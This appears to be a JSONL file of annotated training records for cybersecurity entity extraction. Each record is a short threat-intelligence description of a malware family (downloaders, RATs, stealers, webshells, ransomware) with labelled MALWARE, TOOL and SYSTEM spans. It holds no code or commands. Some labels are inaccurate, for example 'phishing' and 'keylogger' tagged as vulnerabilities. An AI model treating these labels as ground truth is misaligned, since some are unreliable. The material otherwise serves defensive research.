+{"text": "According to Max Kersten, Emotet is dropped by a procedure spanned over multiple stages. The first stage is an office file that contains a macro. This macro then loads the second stage, which is either a PowerShell script or a piece of JavaScript, which is this family entry.", "spans": {"TOOL: PowerShell": [[204, 214]], "MALWARE: Emotet": [[26, 32]]}, "info": {"source": "apt_reports", "name": "Unidentified JS 003 (Emotet Downloader)"}}
+{"text": "A simple loader written in JavaScript found by Marco Ramilli.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified JS 004"}}
+{"text": "A script able to list folders and emails in the current Roundcube account, and to exfiltrate email messages to the C&C server by making HTTP requests.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified JS 006 (Winter Wyvern)"}}
+{"text": "According to Seqrite, this collector is delivered via a phishing mail and triggers via XSS in an active Zimbra session.", "spans": {"SYSTEM: Zimbra": [[104, 110]], "VULNERABILITY: XSS": [[87, 90]], "VULNERABILITY: phishing": [[56, 64]]}, "info": {"source": "apt_reports", "name": "Unidentified JS 007 (Zimbra Stealer)"}}
+{"text": "According to PCrisk, Valak is malicious software that downloads JScript files and executes them. What happens next depends on the actions performed by the executed JScript files. It is very likely that cyber criminals behind Valak attempt to use this malware to cause chain infections (i.e., using Valak to distribute other malware).\r\n\r\nResearch shows that Valak is distributed through spam campaigns, however, in some cases, it infiltrates systems when they are already infected with malicious program such as Ursnif (also known as Gozi).", "spans": {"MALWARE: Valak": [[21, 26], [225, 230], [298, 303], [357, 362]], "ORGANIZATION: PCrisk": [[13, 19]], "MALWARE: Ursnif": [[511, 517]], "MALWARE: Gozi": [[533, 537]]}, "info": {"source": "apt_reports", "name": "Valak"}}
+{"text": "The threat actor of this family compromised Chrome extension developer accounts and attached malicious code to the extensions. Web Developer 0.4.9, Chrometana 1.1.3, Infinity New Tab 3.12.3, CopyFish 2.8.5, Web Paint 1.2.1, and Social Fixer 20.1.1 were affected by this. TouchVPN and BetterVPN were assumed to be targets as well.\r\n\r\nThis lead to the execution of another Javascript that substitutes ad banners for their own, effectively hijacking ad traffic. It is also reported that fake pop-up alerts were used to lure victims to download possibly other malware.", "spans": {"SYSTEM: Chrome": [[44, 50]]}, "info": {"source": "apt_reports", "name": "js.wd"}}
+{"text": "WEEVILPROXY is a sophisticated and featureful stealer which has a payload primarily written in NodeJS. The developer has put in concerted effort to develop the malware’s breadth of capabilities, including novel techniques not observed in any prior malware campaigns - to our knowledge. These new TTPs include methods to modify Windows Setup and Windows Recovery to enable long-term persistence, as well as methods to patch browser extensions ‘on the fly’.", "spans": {"MALWARE: WEEVILPROXY": [[0, 11]], "SYSTEM: Windows": [[327, 334], [345, 352]]}, "info": {"source": "apt_reports", "name": "WEEVILPROXY"}}
+{"text": "webshell", "spans": {}, "info": {"source": "apt_reports", "name": "Icesword"}}
+{"text": "According to PcRisk AppleJeus is the name of backdoor malware that was distributed by the Lazarus group. They spread this malicious software through a fake app disguised as a cryptocurrency trading application called Celas Trade Pro.", "spans": {"MALWARE: AppleJeus": [[20, 29]]}, "info": {"source": "apt_reports", "name": "AppleJeus"}}
+{"text": "Google TAG has observed this malware being delivered via watering hole attacks using 0-day exploits, targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.", "spans": {"ORGANIZATION: Google": [[0, 6]], "VULNERABILITY: 0-day": [[85, 90]], "VULNERABILITY: watering hole": [[57, 70]]}, "info": {"source": "apt_reports", "name": "CDDS"}}
+{"text": "A loader delivering malicious Chrome and Safari extensions.", "spans": {"SYSTEM: Safari": [[41, 47]], "SYSTEM: Chrome": [[30, 36]]}, "info": {"source": "apt_reports", "name": "Choziosi"}}
+{"text": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn’t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher‘s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim’s computer:\r\n- collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim’s hard drive to a remote server\r\n- update itself to a newer version", "spans": {"DOMAIN: Download.com": [[369, 381]], "DOMAIN: MacUpdate.com": [[385, 398]], "MALWARE: CoinThief": [[0, 9]], "SYSTEM: Chrome": [[972, 978]], "SYSTEM: Firefox": [[983, 990]]}, "info": {"source": "apt_reports", "name": "CoinThief"}}
+{"text": "According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.\r\n\r\nResearch shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.", "spans": {"MALWARE: Dacls": [[21, 26]], "THREAT_ACTOR: Lazarus Group": [[207, 220]], "SYSTEM: Windows": [[276, 283]], "SYSTEM: Linux": [[262, 267]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Dacls"}}
+{"text": "Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.\r\n\r\nThe Tor service transforms the victim’s computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address. \r\n\r\nThe Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.\r\n\r\nThe web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:\r\n\r\n- Managing files\r\n- Listing processes\r\n- Connecting to various database management systems such as MySQL or SQLite\r\n- Connecting via bind/reverse shell\r\n- Executing shell command\r\n- Capturing and browsing images and videos from the victim’s webcam\r\n- Sending emails with an attachment", "spans": {"MALWARE: Eleanor": [[0, 7]], "TOOL: Tor": [[194, 197], [287, 290], [425, 428]], "SYSTEM: MySQL": [[931, 936]], "SYSTEM: SQLite": [[940, 946]], "SYSTEM: PHP": [[249, 252]]}, "info": {"source": "apt_reports", "name": "Eleanor"}}
+{"text": "According to PCrisk, ElectroRAT is a Remote Access Trojan (RAT) written in the Go programming language and designed to target Windows, MacOS, and Linux users. Cyber criminals behind ElectroRAT target mainly cryptocurrency users. This RAT is distributed via the trojanized Jamm, eTrader, and DaoPoker applications.", "spans": {"MALWARE: ElectroRAT": [[21, 31], [182, 192]], "SYSTEM: Windows": [[126, 133]], "SYSTEM: Linux": [[146, 151]], "SYSTEM: Go": [[79, 81]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "ElectroRAT"}}
+{"text": "According to PcRisk, EvilQuest (also known as ThiefQuest) is like many other malicious programs of this type - it encrypts files and creates a ransom message. In most cases, this type of malware modifies the names of encrypted files by appending certain extensions, however, this ransomware leaves them unchanged.\r\n\r\nIt drops the \"READ_ME_NOW.txt\" in each folder that contains encrypted data and displays another ransom message in a pop-up window. Additionally, this malware is capable of detecting if certain files are stored on the computer, operates as a keylogger, and receives commands from a Command & Control server.", "spans": {"MALWARE: EvilQuest": [[21, 30]], "MALWARE: ThiefQuest": [[46, 56]], "VULNERABILITY: keylogger": [[558, 567]]}, "info": {"source": "apt_reports", "name": "EvilQuest"}}
+{"text": "According to Proofpoint, FrigidStealer FrigidStealer uses Apple script files and osascript to prompt the user to enter their password, and then to gather data including browser cookies, files with extensions relevant to password material or cryptocurrency from the victim’s Desktop and Documents folders, and any Apple Notes the user has created.", "spans": {"MALWARE: FrigidStealer": [[25, 38], [39, 52]], "ORGANIZATION: Proofpoint": [[13, 23]], "ORGANIZATION: Apple": [[58, 63], [313, 318]]}, "info": {"source": "apt_reports", "name": "FrigidStealer"}}
+{"text": "Fullhouse (AKA FULLHOUSE.DOORED) is a custom backdoor used by subsets of the North Korean Lazarus Group. Fullhouse is written in C/C++ and includes the capabilities of a tunneler and backdoor commands support such as shell command execution, file transfer, file managment, and process injection. C2 communications occur via HTTP and require configuration through the command line or a configuration file.", "spans": {"MALWARE: FULLHOUSE": [[15, 24]], "THREAT_ACTOR: Lazarus Group": [[90, 103]], "VULNERABILITY: process injection": [[277, 294]]}, "info": {"source": "apt_reports", "name": "FULLHOUSE"}}
+{"text": "This multi-platform malware is a ObjectiveC written macOS variant dubbed GIMMICK by Volexity. This malware is a file-based C2 implant used by Storm Cloud.", "spans": {"MALWARE: GIMMICK": [[73, 80]], "THREAT_ACTOR: Storm Cloud": [[142, 153]], "SYSTEM: macOS": [[52, 57]], "ORGANIZATION: Volexity": [[84, 92]]}, "info": {"source": "apt_reports", "name": "GIMMICK"}}
+{"text": "According to PCrisk, GMERA (also known as Kassi trojan) is malicious software that disguises itself as Stockfolio, a legitimate trading app created for Mac users.\r\n\r\nResearch shows that there are two variants of this malware, one detected as Trojan.MacOS.GMERA.A and the other as Trojan.MacOS.GMERA.B. Cyber criminals proliferate GMERA to steal various information and upload it to a website under their control. To avoid damage caused by this malware, remove GMERA immediately.", "spans": {"MALWARE: GMERA": [[21, 26], [255, 260], [293, 298], [330, 335], [460, 465]], "MALWARE: Kassi": [[42, 47]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Gmera"}}
+{"text": "According to Malwarebytes, The HiddenLotus \"dropper\" is an application named Lê Thu Hà (HAEDC).pdf, using an old trick of disguising itself as a document - in this case, an Adobe Acrobat file.", "spans": {"MALWARE: HiddenLotus": [[31, 42]], "SYSTEM: Adobe Acrobat": [[173, 186]]}, "info": {"source": "apt_reports", "name": "HiddenLotus"}}
+{"text": "The threat was a multi-stage malware displaying a decoy that appeared to the victim as a Chinese language article on the long-running dispute over the Diaoyu Islands; an array of erotic pictures; or images of Tibetan organisations. It consisted of two stages: Revir was the dropper/downloader and Imuler was the backdoor capable of the following operations:\r\n\r\n- capture screenshots\r\n- exfiltrate files to a remote computer\r\n- send various information about the infected computer\r\n- extract ZIP archive\r\n- download files from a remote computer and/or the Internet\r\n- run executable files", "spans": {"MALWARE: Imuler": [[297, 303]], "MALWARE: Revir": [[260, 265]]}, "info": {"source": "apt_reports", "name": "iMuler"}}
+{"text": "RAT. Functionality like ExecShell, GetFileList/SendFile/DownloadFile, Socks5, PortmapManager/GetConn/SendConn. Transport also supports Quic.\r\n\r\nVariants in GO.", "spans": {}, "info": {"source": "apt_reports", "name": "InsidiousGh0st"}}
+{"text": "According to Patrick Wardle, this malware persists a python script as a cron job. \r\nSteps: \r\n1. Python installer first saves any existing cron jobs into a temporary file named '/tmp/dump'. \r\n2. Appends its new job to this file.\r\n3. Once the new cron job has been added 'python (~/.t/runner.pyc)' runs every minute.", "spans": {"FILEPATH: /tmp/dump'.": [[177, 188]], "SYSTEM: Python": [[96, 102]]}, "info": {"source": "apt_reports", "name": "Janicab"}}
+{"text": "According to SentinelOne, KeySteal targets files with the .keychain and keychain-db file extensions in the following locations.", "spans": {"MALWARE: KeySteal": [[26, 34]], "SYSTEM: SentinelOne": [[13, 24]]}, "info": {"source": "apt_reports", "name": "KeySteal"}}
+{"text": "According to Volexity, LIGHTSPY is a multi-platform malware family with documented variants for Android, iOS, and macOS.", "spans": {"MALWARE: LIGHTSPY": [[23, 31]], "SYSTEM: macOS": [[114, 119]], "SYSTEM: Android": [[96, 103]], "SYSTEM: iOS": [[105, 108]], "ORGANIZATION: Volexity": [[13, 21]]}, "info": {"source": "apt_reports", "name": "LIGHTSPY"}}
+{"text": "According to PcRisk, Research shows that the OceanLotus 'backdoor' targets MacOS computers. Cyber criminals behind this backdoor have already used this malware to attack human rights and media organizations, some research institutes, and maritime construction companies.\r\n\r\nThe OceanLotus backdoor is distributed via a fake Adobe Flash Player installer and a malicious Word document (it is likely that threat authors distribute the document via malspam emails).", "spans": {"MALWARE: OceanLotus": [[45, 55], [278, 288]], "SYSTEM: Adobe Flash": [[324, 335]]}, "info": {"source": "apt_reports", "name": "OceanLotus"}}
+{"text": "SentinelOne describes this as a malware written in Go, mixing own custom code with code from public repositories.", "spans": {"SYSTEM: SentinelOne": [[0, 11]], "SYSTEM: Go": [[51, 53]]}, "info": {"source": "apt_reports", "name": "oRAT"}}
+{"text": "This crypto-ransomware for macOS was caught spreading via BitTorrent distribution sites in February 2017, masquerading as 'Patcher', an application used for pirating popular software like Adobe Premiere Pro or Microsoft Office for Mac.\r\n\r\nThe downloaded torrent contained an application bundle in the form of a single zip file. After launching the fake application, the main window of the fake cracking tool was displayed.\r\n\r\nThe file encryption process was launched after the misguided victim clicked 'Start'. Once executed, the ransomware generated a random 25-character string and set it as the key for RC4 encryption of all of the user's files. It then demanded ransom in Bitcoin, as instructed in the 'README!' .txt file copied all over the user's directories.\r\n\r\nDespite the instructions being quite thorough, Patcher lacked the functionality to communicate with any C&C server, and therefore made it impossible for its operators to decrypt affected files. The randomly generated encryption key was also too long to be guessed via a brute-force attack, leaving the encrypted data unrecoverable in a reasonable amount of time.", "spans": {"MALWARE: Patcher": [[123, 130], [816, 823]], "SYSTEM: macOS": [[27, 32]], "SYSTEM: Microsoft Office": [[210, 226]], "ORGANIZATION: Microsoft": [[210, 219]], "VULNERABILITY: brute-force": [[1039, 1050]]}, "info": {"source": "apt_reports", "name": "Patcher"}}
+{"text": "Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.", "spans": {}, "info": {"source": "apt_reports", "name": "PintSized"}}
+{"text": "Part of Mythic C2, written in Golang.", "spans": {"TOOL: Mythic": [[8, 14]]}, "info": {"source": "apt_reports", "name": "Poseidon"}}
+{"text": "macOS infostealer sold by an individual named Rodrigo4, currently consisting of a disk image containing a Mach-O without app bundle, which when executed spawns osascript executing an AppleScript with the actual infostealer payload.  The AppleScript payload will steal files by packing them in a ZIP archive and uploading them to a hardcoded C2 via HTTP.", "spans": {"SYSTEM: macOS": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Poseidon Stealer"}}
+{"text": "Proton RAT is a Remote Access Trojan (RAT) specifically designed for macOS systems. It is known for providing attackers with complete remote control over the infected system, allowing the execution of commands, keystroke capturing, access to the camera and microphone, and the ability to steal credentials stored in browsers and other password managers. This malware typically spreads through malicious or modified applications, which, when downloaded and installed by unsuspecting users, trigger its payload. Proton RAT is notorious for its sophistication and evasion capabilities, including techniques to bypass detection by installed security solutions.", "spans": {"MALWARE: Proton RAT": [[0, 10], [510, 520]], "SYSTEM: macOS": [[69, 74]], "MALWARE: Proton": [[0, 6], [510, 516]]}, "info": {"source": "apt_reports", "name": "Proton RAT"}}
+{"text": "According to SentinelOne, this is an infostealer, targeting among other things the encrypted database of Zoom.", "spans": {"SYSTEM: Zoom": [[105, 109]], "SYSTEM: SentinelOne": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Pureland"}}
+{"text": "Cryptocurrency miner that was distributed masquerading as a Counter-Strike: Global Offensive hack.", "spans": {"MALWARE: Global": [[76, 82]]}, "info": {"source": "apt_reports", "name": "Pwnet"}}
+{"text": "Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.", "spans": {"MALWARE: Dok": [[0, 3]], "MALWARE: Retefe": [[11, 17], [61, 67]], "TOOL: Tor": [[246, 249], [375, 378]], "SYSTEM: macOS": [[25, 30], [538, 543]], "SYSTEM: Windows": [[605, 612]], "ORGANIZATION: Apple": [[512, 517]], "ORGANIZATION: VirusTotal": [[522, 532]], "VULNERABILITY: MITM": [[412, 416]]}, "info": {"source": "apt_reports", "name": "Dok"}}
+{"text": "According to PCrisk, Shlayer is a trojan-type virus designed to proliferate various adware and other unwanted applications, and promote fake search engines. It is typically disguised as a Adobe Flash Player installer and various software cracking tools.\r\n\r\nIn most cases, users encounter this virus when visiting dubious Torrent websites that are full of intrusive advertisements and deceptive downloads.", "spans": {"MALWARE: Shlayer": [[21, 28]], "SYSTEM: Adobe Flash": [[188, 199]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Shlayer"}}
+{"text": "According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple’s new M1 chips but has been distributed without payload so far.", "spans": {"MALWARE: Silver Sparrow": [[25, 39]], "ORGANIZATION: Apple": [[105, 110]], "ORGANIZATION: Red Canary": [[13, 23]]}, "info": {"source": "apt_reports", "name": "Silver Sparrow"}}
+{"text": "SimpleTea is a RAT for macOS that is based on the same object-oriented project as SimpleTea for Linux (SimplexTea).\r\n\r\nIt also shares similarities with POOLRAT (also known as SIMPLESEA), like the supported commands or a single-byte XOR encryption of its configuration. However, the indices of commands are different.\r\n\r\nSimpleTea for macOS was uploaded to VirusTotal from Hong Kong and China in September 2023.", "spans": {"MALWARE: SimpleTea": [[0, 9], [82, 91], [320, 329]], "SYSTEM: macOS": [[23, 28], [334, 339]], "SYSTEM: Linux": [[96, 101]], "ORGANIZATION: VirusTotal": [[356, 366]], "MALWARE: SimplexTea": [[103, 113]]}, "info": {"source": "apt_reports", "name": "SimpleTea"}}
+{"text": "General purpose backdoor", "spans": {}, "info": {"source": "apt_reports", "name": "systemd"}}
+{"text": "According to Mandiant, WAVESHAPER is a backdoor written in C++ and packed by an unknown packer that targets macOS. The backdoor supports downloading and executing arbitrary payloads retrieved from its command-and-control (C2 or C&C) server, which is provided via the command-line parameters. To communicate with the adversary infrastructure, WAVESHAPER leverages the curl library for either HTTP or HTTPS, depending on the command-line argument provided.\r\nWAVESHAPER also runs as a daemon by forking itself into a child process that runs in the background detached from the parent session and collects system information, which is sent to the C&C server in a HTTP POST request.", "spans": {"MALWARE: WAVESHAPER": [[23, 33], [342, 352], [456, 466]], "TOOL: curl": [[367, 371]], "SYSTEM: macOS": [[108, 113]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "WAVESHAPER"}}
+{"text": "Xloader is a Rebranding of Formbook malware (mainly a stealer), available for macOS as well.\r\n\r\nFormbook has a \"magic\"-value FBNG (FormBook-NG), while Xloader has a \"magic\"-value XLNG (XLoader-NG). This \"magic\"-value XLNG is platform-independent.\r\n\r\n\r\nNot to be confused with apk.xloader or ios.xloader.", "spans": {"MALWARE: Xloader": [[0, 7], [151, 158]], "MALWARE: Formbook": [[27, 35], [96, 104]], "SYSTEM: macOS": [[78, 83]], "MALWARE: XLoader": [[185, 192]]}, "info": {"source": "apt_reports", "name": "Xloader"}}
+{"text": "A malware that was observed being embedded alongside legitimate applications (such as iTerm2) offered for download on suspicious websites pushed in search engines. It uses a Python script to perform reconnaissance on the compromised system an pulls additional payload(s).", "spans": {"SYSTEM: Python": [[174, 180]]}, "info": {"source": "apt_reports", "name": "ZuRu"}}
+{"text": "Ani-Shell is a simple PHP shell with some unique features like Mass Mailer, a simple Web-Server Fuzzer, Dosser, Back Connect, Bind Shell, Back Connect, Auto Rooter etc.", "spans": {"MALWARE: Ani-Shell": [[0, 9]], "SYSTEM: PHP": [[22, 25]]}, "info": {"source": "apt_reports", "name": "Ani-Shell"}}
+{"text": "Antak is a webshell written in ASP.Net which utilizes PowerShell.", "spans": {"MALWARE: Antak": [[0, 5]], "TOOL: PowerShell": [[54, 64]]}, "info": {"source": "apt_reports", "name": "ANTAK"}}
+{"text": "ASPXSpy is an open-source web shell written in C# that allows a threat actor to accomplish various post-exploitation tasks, including file access and command execution.", "spans": {"MALWARE: ASPXSpy": [[0, 7]]}, "info": {"source": "apt_reports", "name": "ASPXSpy"}}
+{"text": "A webshell for multiple web languages (asp/aspx, jsp/jspx, php), openly distributed through Github.", "spans": {}, "info": {"source": "apt_reports", "name": "Behinder"}}
+{"text": "C99shell is a PHP backdoor that provides a lot of functionality, for example:\r\n\r\n\r\n* run shell commands;\r\n* download/upload files from and to the server (FTP functionality);\r\n* full access to all files on the hard disk;\r\n* self-delete functionality.", "spans": {"MALWARE: C99shell": [[0, 8]], "SYSTEM: PHP": [[14, 17]]}, "info": {"source": "apt_reports", "name": "c99shell"}}
+{"text": "FireEye discovered the DEWMODE webshell starting mid-December 2020 after exploitation of zero-day vulnerabilities in Accellion's File Transfer Appliance. It is a PHP webshell that allows threat actors to view and download files in the victim machine. It also contains cleanup function to remove itself and clean the Apache log.", "spans": {"MALWARE: DEWMODE": [[23, 30]], "SYSTEM: PHP": [[162, 165]], "SYSTEM: Apache": [[316, 322]], "ORGANIZATION: FireEye": [[0, 7]], "VULNERABILITY: zero-day": [[89, 97]]}, "info": {"source": "apt_reports", "name": "DEWMODE"}}
+{"text": "PHP/JavaScript malware for WordPress that injects multi-stage scripts, turning compromised sites into distributed TDS/C2 nodes. Delivers signed payloads, maintains persistence via helper files, and redirects traffic to monetized scam networks.", "spans": {"SYSTEM: PHP": [[0, 3]], "SYSTEM: WordPress": [[27, 36]]}, "info": {"source": "apt_reports", "name": "DollyWay"}}
+{"text": "According to Xlab, Glutton is a modular PHP fileless attack framework, capable of data exfiltration and running backdoors.", "spans": {"MALWARE: Glutton": [[19, 26]], "SYSTEM: PHP": [[40, 43]]}, "info": {"source": "apt_reports", "name": "Glutton"}}
+{"text": "In combination with Parrot TDS the usage of a classical web shell was observed by DECODED Avast.io.", "spans": {"DOMAIN: Avast.io": [[90, 98]], "SYSTEM: Avast": [[90, 95]], "MALWARE: Parrot TDS": [[20, 30]]}, "info": {"source": "apt_reports", "name": "Parrot TDS WebShell"}}
+{"text": "Backdoor written in php", "spans": {}, "info": {"source": "apt_reports", "name": "Prometheus Backdoor"}}
+{"text": "According to Cisco Talos, this is multi-stage malware framework, implemented in PowerShell and C#, that possesses robust functionality, including the ability to deliver follow-on modules including an information stealer, keylogger, screen capture collector and more. It also establishes persistence to continue operations following system reboots. The design of this malware framework appears to attempt to minimize artifacts left on infected systems by facilitating the delivery and execution of modules in-memory, without requiring them to be written to disk. Due to similarities in the design and implementation with the malware family AHK Bot, we are referring to this PowerShell-based malware as “PS1Bot.”", "spans": {"MALWARE: PS1Bot": [[702, 708]], "TOOL: PowerShell": [[80, 90], [673, 683]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]], "VULNERABILITY: keylogger": [[221, 230]], "VULNERABILITY: screen capture": [[232, 246]]}, "info": {"source": "apt_reports", "name": "PS1Bot"}}
+{"text": "A PHP webshell that allows file system management, data exfiltration and command execution.", "spans": {"SYSTEM: PHP": [[2, 5]]}, "info": {"source": "apt_reports", "name": "php.shin_webshell"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "BlackSun"}}
+{"text": "According to CERT-UA, COOKBOX is a PowerShell script that implements the functionality of downloading and executing PowerShell cmdlets. For each affected computer, a unique identifier is calculated using cryptographic transformations (SHA256/MD5 hash functions) based on a combination of computer name and disk serial number, which is transmitted in the “X-Cookie” header of HTTP requests when interacting with the management server. The persistence of the backdoor is ensured by the corresponding key in the Run branch of the operating system (OS) registry, which is created at the stage of the initial infection by a third-party PowerShell script (including the COOKBOX deployer). As a rule, obfuscation elements are used in the program code: chr-character encoding, character replacement (replace()), base64 conversion, GZIP compression.", "spans": {"MALWARE: COOKBOX": [[22, 29], [664, 671]], "TOOL: PowerShell": [[35, 45], [116, 126], [631, 641]], "TOOL: replace": [[792, 799]], "ORGANIZATION: CERT-UA": [[13, 20]]}, "info": {"source": "apt_reports", "name": "COOKBOX"}}
+{"text": "According to Trend Micro, DarkWisp is a PowerShell-based backdoor and reconnaissance utility designed for unauthorized system access and intelligence gathering. It enables attackers to exfiltrate sensitive data while maintaining persistent control over the compromised system. The malware collects extensive information about the compromised system to create a detailed profile. It determines whether the user has administrative privileges, checks for membership in a corporate domain, and identifies the presence of cryptocurrency wallets or VPN software by scanning specified directories and applications. It also gathers data about the system's operating environment, including public IP address, geographic location, installed antivirus products, firewall status, and system uptime. This information is compiled into a structured format and transmitted to the C&C server.", "spans": {"MALWARE: DarkWisp": [[26, 34]], "TOOL: PowerShell": [[40, 50]], "SYSTEM: Trend Micro": [[13, 24]], "SYSTEM: VPN": [[543, 546]]}, "info": {"source": "apt_reports", "name": "DarkWisp"}}
+{"text": "A loader written in Powershell, usually delivered packaged in MSI/MSIX files.", "spans": {}, "info": {"source": "apt_reports", "name": "EugenLoader"}}
+{"text": "Loader used to deliver FRat (see family windows.frat)", "spans": {"MALWARE: FRat": [[23, 27]]}, "info": {"source": "apt_reports", "name": "FRat Loader"}}
+{"text": "The malware ftcode is a ransomware which encrypts files and changes their extension into .FTCODE. It later asks for a ransom in order to release the decryption key, mandatory to recover your files. It is infamous for attacking Italy pretending to be a notorious telecom provider asking for due payments.", "spans": {"MALWARE: FTCODE": [[90, 96]]}, "info": {"source": "apt_reports", "name": "FTCODE"}}
+{"text": "According to TRAC Labs, the GhostWeaver backdoor not only maintains continuous, authenticated communication with its command-and-control server but also includes functionalities to generate DGA domains (using a fixed-seed algorithm based on the week number and year), deliver additional payloads via remote commands and bypass certificate validation by leveraging a RemoteCertificateValidationCallback that always returns true. Multiple delivered plugins are designed to target sensitive information - including credentials from popular browsers (Brave, Chrome, Firefox, Edge), Outlook data, and cryptocurrency wallets. The Formgrabber plugin includes web injection methods by dynamically manipulating HTML content, modifying JA3 fingerprints via cipher suite reordering, and employing a man-in-the-middle proxy setup to intercept the traffic. GhostWeaver’s and plugins’ delivery on systems that are not part of an Active Directory domain suggests that attackers are extending their reach beyond typical corporate targets, aligning with a financially motivated agenda that exploits environments with weaker security controls.", "spans": {"MALWARE: GhostWeaver": [[28, 39], [844, 855]], "SYSTEM: Edge": [[571, 575]], "SYSTEM: Chrome": [[554, 560]], "SYSTEM: Firefox": [[562, 569]], "SYSTEM: Brave": [[547, 552]], "SYSTEM: Outlook": [[578, 585]], "SYSTEM: Active Directory": [[915, 931]], "VULNERABILITY: man-in-the-middle": [[788, 805]]}, "info": {"source": "apt_reports", "name": "GhostWeaver"}}
+{"text": "The author describes this open source shell as follows. \r\nHTTP-Shell is Multiplatform Reverse Shell. This tool helps you to obtain a shell-like interface on a reverse connection over HTTP. Unlike other reverse shells, the main goal of the tool is to use it in conjunction with Microsoft Dev Tunnels, in order to get a connection as close as possible to a legitimate one.\r\n\r\nThis shell is not fully interactive, but displays any errors on screen (both Windows and Linux), is capable of uploading and downloading files, has command history, terminal cleanup (even with CTRL+L), automatic reconnection, movement between directories and supports sudo (or sudo su) on Linux-based OS.", "spans": {"MALWARE: HTTP-Shell": [[58, 68]], "SYSTEM: Windows": [[451, 458]], "SYSTEM: Linux": [[463, 468], [663, 668]], "ORGANIZATION: Microsoft": [[277, 286]]}, "info": {"source": "apt_reports", "name": "HTTP-Shell"}}
+{"text": "According to EclecticIQ, Kalambur is designed to gather local system information, then download a repackaged TOR binary inside a ZIP file and retrieve additional tools from what is likely an attacker-controlled TOR onion site.", "spans": {"MALWARE: Kalambur": [[25, 33]]}, "info": {"source": "apt_reports", "name": "Kalambur"}}
+{"text": "According to Bleeping Computer and Vitali Kremez, LightBot is a compact reconnaissance tool suspected to be used to identify high-value targets for potential follow-up ransomware attacks.", "spans": {"MALWARE: LightBot": [[50, 58]]}, "info": {"source": "apt_reports", "name": "LightBot"}}
+{"text": "According to ESET Research, this malware is used by LongNosedGoblin and executes a chain of obfuscated commands passed to a spawned PowerShell process as one long command line argument, meaning that the script is not stored on disk. Every subsequent stage is encoded with base64, where the last one is additionally deflated with gzip. The second stage bypasses AMSI. In this case, NosyDownloader uses Matt Graeber’s reflection method and disabling script logging techniques made available on GitHub to bypass AMSI.", "spans": {"MALWARE: NosyDownloader": [[381, 395]], "THREAT_ACTOR: LongNosedGoblin": [[52, 67]], "TOOL: PowerShell": [[132, 142]], "SYSTEM: GitHub": [[492, 498]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "NosyDownloader"}}
+{"text": "The author describes Octopus as an \"open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S.\"\r\n\r\nIt is different from the malware win.octopus written in Delphi and attributed to DustSquad by Kaspersky Labs.", "spans": {"MALWARE: Octopus": [[21, 28], [110, 117]], "THREAT_ACTOR: DustSquad": [[236, 245]], "TOOL: powershell": [[118, 128]], "SYSTEM: Kaspersky": [[249, 258]]}, "info": {"source": "apt_reports", "name": "Octopus"}}
